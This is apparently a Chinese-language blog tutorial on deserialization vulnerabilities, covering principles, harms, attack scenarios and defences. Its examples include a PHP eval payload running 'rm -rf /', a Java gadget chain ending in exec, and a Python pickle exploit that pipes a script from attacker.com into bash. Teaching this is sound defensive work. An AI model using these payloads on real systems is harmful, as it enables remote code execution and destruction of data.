点我
反序列化漏洞
反序列化漏洞
一、定义
序列化(Serialization)
- 定义:将程序中的对象(如用户信息、商品数据)转换为可以存储或传输的格式(字符串/二进制)
- 类比:把乐高模型拆解成零件清单
常见格式:
- JSON:
{"name": "Alice", "age": 25}
- XML:
<user><name>Alice</name><age>25</age></user>
- 二进制格式(Java的Serializable,Python的pickle)
- JSON:
反序列化(Deserialization)
- 定义:将序列化的数据还原为程序可操作的对象
- 类比:用零件清单重新拼装乐高模型
- 关键点:恢复数据的同时可能恢复对象的方法和属性
二、反序列化漏洞的原理
- 程序接受不可信的序列化数据。
- 反序列化过程自动执行特定方法(如PHP的__wakeup(),Java的readObject())。
- 攻击者可以控制输入的内容。
危险操作举例:
// Java示例:危险的反序列化代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // 可能执行恶意代码
注意:
- 本质上在PHP中serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
- 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
反序列化漏洞是Web安全领域的高危漏洞类型,其核心在于程序过度信任用户输入的序列化数据。
三、危害
- 完全控制服务器(通过RCE)。
- 数据库信息泄露(如用户密码、支付信息)。
- 植入后门程序。
- 发起内网渗透攻击。
- 企业敏感数据泄露。
四、攻击场景
Web应用
- Cookie中存储序列化的用户信息
- API接口接收序列化参数
- 文件上传功能(如上传包含序列化数据的配置文件)
分布式系统
- RPC(远程过程调用)
- 消息队列(RabbitMQ, Kafka)
- 缓存系统(Redis, Memcached)
文件传输
- 办公文档(如Word/Excel的OLE对象)
- 游戏存档文件
- 应用程序配置文件
五、防护措施
输入验证:
- 校验数据签名
- 使用HMAC验证数据完整性
安全配置:
- 禁用危险的反序列化方法
- 使用JSON等简单格式替代二进制序列化
白名单机制:
# Python安全示例:使用SafeUnpickler
import pickle
class SafeUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in ["__main__", "safe_module"]:
raise pickle.UnpicklingError("Unsafe class")
return super().find_class(module, name)
安全工具:
- Java:使用SerialKiller替换ObjectInputStream
- .NET:使用JSON.NET代替BinaryFormatter
监控措施:
- 记录反序列化异常日志
- 使用RASP(运行时应用自我保护)技术
六、不同编程语言的案例
PHP(__wakeup魔术方法)
class VulnerableClass {
public $data = "echo 'Hello World';";
public function __wakeup() {
eval($this->data);
}
}
// 攻击payload
$obj = new VulnerableClass();
$obj->data = "system('rm -rf /');";
$serialized = serialize($obj);
Java(Apache Commons Collections)
// 构造恶意Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", ...),
new InvokerTransformer("invoke", ...),
new InvokerTransformer("exec", ...)
};
Python(pickle模块)
import pickle
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit()))
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论